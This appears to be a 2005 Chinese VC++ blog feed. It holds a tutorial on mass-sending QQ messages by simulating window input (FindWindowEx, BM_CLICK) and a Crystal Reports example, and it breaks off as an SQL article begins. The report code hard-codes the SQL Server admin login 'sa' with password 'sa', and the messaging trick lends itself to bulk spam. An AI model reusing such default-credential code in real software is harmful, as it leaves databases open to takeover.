QQ一直是国内最令人瞩目的及时通讯软件，近6年的经营使其在IM市场有了"世界第一"名号。在国内市场，QQ的市场占有率已经超过了70%，用户群庞大，本人就是腾讯QQ的一个用户。不知QQ会员是否能够消息群发，但我这个免费用户是享受不了这个服务的，给同事和朋友们发通知好辛苦啊。在网上Google了一下，找到几个小软件，可是消息后面又加个广告尾巴。还是自己动手吧：&lt;BR&gt;&lt;BR&gt;　　如果要分析腾讯QQ协议来编写发送QQ消息是很复杂的一件事情，那么，有没有简单的办法呢？答案是肯定的：有！&lt;BR&gt;&lt;BR&gt;　　既然Windows使用消息循环来处理输入信息，那么如果我们能够用程序模拟产生"操作QQ时鼠标和键盘操作所发出的消息" ，那么就应该可以实现程序发送QQ消息，进而批量发送QQ消息，即消息群发。&lt;BR&gt;&lt;BR&gt;　　二&lt;B&gt;、具体实现&lt;/B&gt;&lt;BR&gt;&lt;BR&gt;　　QQ给某个人发送消息时，将创建如下图所示的窗口（对话框窗口），我们发消息就是填写消息内容，然后点击发送。要模拟QQ消息发送，我们就需要填写消息内容，然后模拟按键发送。&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;
&lt;TABLE width="90%" align=center&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;
&lt;DIV align=center&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;&lt;IMG onerror="this.src='http://www.pptel.net/images/stories/2005-01/naps_1106993573_1.jpg';" hspace=3 src="file:///E:/backup/Recycled/Study/vc/利用VC++%20QQ消息群%20-%20WideView.files/naps_1106993573_2.jpeg" align=center vspace=1 border=1&gt;&lt;/FONT&gt;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;　　第一步，找到聊天主窗口，该窗口的标题是与*****聊天中，我们可以通过使用FindWindowEx函数来找到这个窗口。&lt;BR&gt;&lt;BR&gt;　　第二步，找到输入消息的控件并在里面填写消息。注意：可能是腾讯公司为了安全，在窗口里又套了几个窗口，如果有兴趣，可以用微软的工具SPY++自己看看。通过使用SPY++观察，发现该控件是一个RichEdit类，位置如上图所示，我们还是用 FindWindowEx函数来找到它，然后取得指针，通过指针往里面些数据。&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;
&lt;TABLE width="90%" align=center border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;
&lt;DIV align=center&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;&lt;IMG onerror="this.src='http://www.pptel.net/images/stories/2005-01/naps_1106993573_3.jpg';" hspace=3 src="file:///E:/backup/Recycled/Study/vc/利用VC++%20QQ消息群%20-%20WideView.files/naps_1106993573_4.jpeg" align=center vspace=1 border=1&gt;&lt;/FONT&gt;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;　　第三步，模拟鼠标点发送按钮的操作，可以通过取得该按钮的指针，然后发送一个BM_CLICK消息就可以了。&lt;BR&gt;&lt;BR&gt;　　通过程序模拟，实现的非常好。用VC6建立一个简单的对话框程序，添加一个按钮（改Caption值为发送），为该按钮填加以下执行代码：&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;
&lt;TABLE borderColor=#ffcc66 width="90%" align=center bgColor=#d8d8d1 border=1&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;void CMySMSDlg:: QQSendMessage()&lt;BR&gt;{&lt;BR&gt;　CString str;&lt;BR&gt;　CWnd* pMainWnd = AfxGetMainWnd()-&amp;gt;GetWindow(GW_HWNDFIRST); &lt;BR&gt;　while (pMainWnd) &lt;BR&gt;　{ &lt;BR&gt;　　HWND hWnd,hNext;&lt;BR&gt;　　hWnd = pMainWnd-&amp;gt;m_hWnd;&lt;BR&gt;　　pMainWnd-&amp;gt;GetWindowText(str);&lt;BR&gt;　　if(str.Find ("聊天")&amp;gt;-1){//找到聊天主窗口Begin&lt;BR&gt;　　　//找RichEdit&lt;BR&gt;　　　hWnd=FindWindowEx(pMainWnd-&amp;gt;m_hWnd,NULL,"#32770",NULL);&lt;BR&gt;　　　pMainWnd = CWnd::FromHandle(hWnd); &lt;BR&gt;　　　hWnd=FindWindowEx(pMainWnd-&amp;gt;m_hWnd,NULL,"AfxWnd42",NULL);&lt;BR&gt;　　　CWnd* pChildWnd=CWnd::FromHandle(hWnd);&lt;BR&gt;　　　int nLen = str.GetLength ();&lt;BR&gt;　　　hNext = FindWindowEx(pChildWnd-&amp;gt;m_hWnd,NULL,"RICHEDIT",NULL);&lt;BR&gt;　　　if(hNext){//找到消息填写控件&lt;BR&gt;　　　　CRichEditCtrl* pRich=(CRichEditCtrl*)(CWnd::FromHandle(hNext));&lt;BR&gt;　　　　pRich-&amp;gt;GetWindowText (str);&lt;BR&gt;　　　　pRich-&amp;gt;SetSel (nLen,nLen);&lt;BR&gt;　　　　pRich-&amp;gt;ReplaceSel ("成都外国语学校 黄东");//填上将要发送的内容&lt;BR&gt;　　　}else return;&lt;BR&gt;　　　//找消息发送按钮&lt;BR&gt;　　　hWnd=FindWindowEx(pMainWnd-&amp;gt;m_hWnd,NULL,NULL,NULL);&lt;BR&gt;　　　while (hWnd) {&lt;BR&gt;　　　　pChildWnd=CWnd::FromHandle(hWnd); &lt;BR&gt;　　　　pChildWnd-&amp;gt;GetWindowText(str);&lt;BR&gt;　　　　if(str.Find ("发送")&amp;gt;-1){&lt;BR&gt;　　　　　pChildWnd-&amp;gt;SendMessage (BM_CLICK);//发送&lt;BR&gt;　　　　　return;//　退出&lt;BR&gt;　　　　}&lt;BR&gt;　　　　hWnd=FindWindowEx(pMainWnd-&amp;gt;m_hWnd,hWnd,NULL,NULL);&lt;BR&gt;　　　}&lt;BR&gt;　　　return;&lt;BR&gt;　　}//找到聊天主窗口End&lt;BR&gt;　　else pMainWnd = pMainWnd-&amp;gt;GetWindow(GW_HWNDNEXT); //继续找&lt;BR&gt;　}//While&lt;BR&gt;}&lt;/FONT&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;　　至此，主要部件已经实现了，如何让程序自动为每个好友打开聊天窗口，和这个也差不了太多，就留给各位去研究吧，这条思路适合目前所有的IM软件。 &lt;BR&gt;&lt;BR&gt;　　程序在VC6下编译通过(文件很小，只有20KB)，操作系统为Windows 2000 SP4，QQ版本为2004 SP1，按发送按钮之前需要打开一个聊天窗口&lt;/FONT&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;img src ="http://blog.vckbase.com/jim97/aggbug/11793.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>木子的blog</dc:creator><title>水晶报表在VC++6.0中的简单使用方法</title><link>http://blog.vckbase.com/jim97/articles/11792.html</link><pubDate>Fri, 02 Sep 2005 07:34:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/11792.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/11792.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/11792.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/11792.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/11792.html</trackback:ping><description>&lt;STRONG&gt;水晶报表在VC++6.0中的简单使用方法&lt;BR&gt;&lt;/STRONG&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;!-- DETAILS --&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 黑体"&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;水晶报表是一个报表设计开发的强大工具，功能强大，设计灵活，在水晶报表光盘中只提供了一个完全动态生成报表的例子，使用繁琐。现介绍其在&lt;SPAN lang=EN-US&gt;VC++6.0中的简单使用方法。编译环境：VC++6.0 sp5 、Windows 2000 Server sp3 (en)。&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; LINE-HEIGHT: 150%; mso-list: l0 level1 lfo1; tab-stops: list 24.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;一、&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;导入水晶报表使用的动态联接库：根据实际修改文件路径。&lt;SPAN lang=EN-US&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;#import "C:\Documents and Settings\Administrator\桌面\cr\craxdrt9.dll" no_namespace&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;二、定义接口指针变量&lt;SPAN lang=EN-US&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//水晶报表变量&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;IApplicationPtr m_Application;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;IReportPtr m_Report;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//水晶报表控件变量，在对话框中加入该控件&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;CCrystalReportViewer9&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;三、具体实现步骤&lt;SPAN lang=EN-US&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;//实例化m_Application&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Application.CreateInstance (__uuidof(Application));&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//获取m_Report变量&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//staff.rpt为通过向导建立的报表文件，数据库采用SQL Server 7.0&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Report =m_Application-&amp;gt;OpenReport ("C:\\Documents and Settings\\Administrator\\桌面\\cr\\debug\\staff.rpt");&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;//设置报表标题&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Report-&amp;gt;put_ReportTitle (_bstr_t("Title"));&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;//设置数据库连接变量&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 12pt; LINE-HEIGHT: 150%; mso-char-indent-count: 1.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//数据库服务器(local)，数据库名staff，用户名sa，密码sa&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Report-&amp;gt;Database -&amp;gt;Tables -&amp;gt;Item [1]-&amp;gt;SetLogOnInfo("(local)","staff","sa","sa");&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//设置检索SQL命令&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;m_Report-&amp;gt;put_SQLQueryString ((_bstr_t)"select * from person where id&amp;lt;'4' order by id");&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//不显示重复字段&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Report-&amp;gt;PutEnableSelectDistinctRecords (TRUE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;//设置检索条件，采用水晶报表语法，功能同设置检索SQL命令&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 24pt; LINE-HEIGHT: 150%; mso-char-indent-count: 2.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;m_Report-&amp;gt;PutRecordSelectionFormula ((_bstr_t)"{person.id}='1'");&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 12pt; LINE-HEIGHT: 150%; mso-char-indent-count: 1.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//设置报表作者&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_Report-&amp;gt;PutReportAuthor ("xiaojin");&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;//将m_Report与报表控件连接&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.SetReportSource(m_Report);&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 12pt; LINE-HEIGHT: 150%; mso-char-indent-count: 1.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//显示报表工具条&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.SetDisplayToolbar (TRUE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 12pt; LINE-HEIGHT: 150%; mso-char-indent-count: 1.0; mso-char-indent-size: 12.0pt"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//不显示报表左边的分组树&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.SetDisplayGroupTree (FALSE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;//不显示控件边框&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.SetDisplayBorder (FALSE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;//刷新数据&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.Refresh ();&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;//显示报表内容&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;m_CRViewer1.ViewReport();&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN lang=EN-US style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 150%"&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"&gt;这样，漂亮的水晶报表就显示出来了。程序异常处理部分省略，请自行加入。&lt;BR&gt;&lt;SPAN lang=EN-US&gt;&lt;o:p&gt;作者：xiaojin&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;img src ="http://blog.vckbase.com/jim97/aggbug/11792.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>木子的blog</dc:creator><title>SQL语句集锦</title><link>http://blog.vckbase.com/jim97/articles/11791.html</link><pubDate>Fri, 02 Sep 2005 07:31:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/11791.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/11791.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/11791.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/11791.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/11791.html</trackback:ping><description>&lt;P&gt;--语 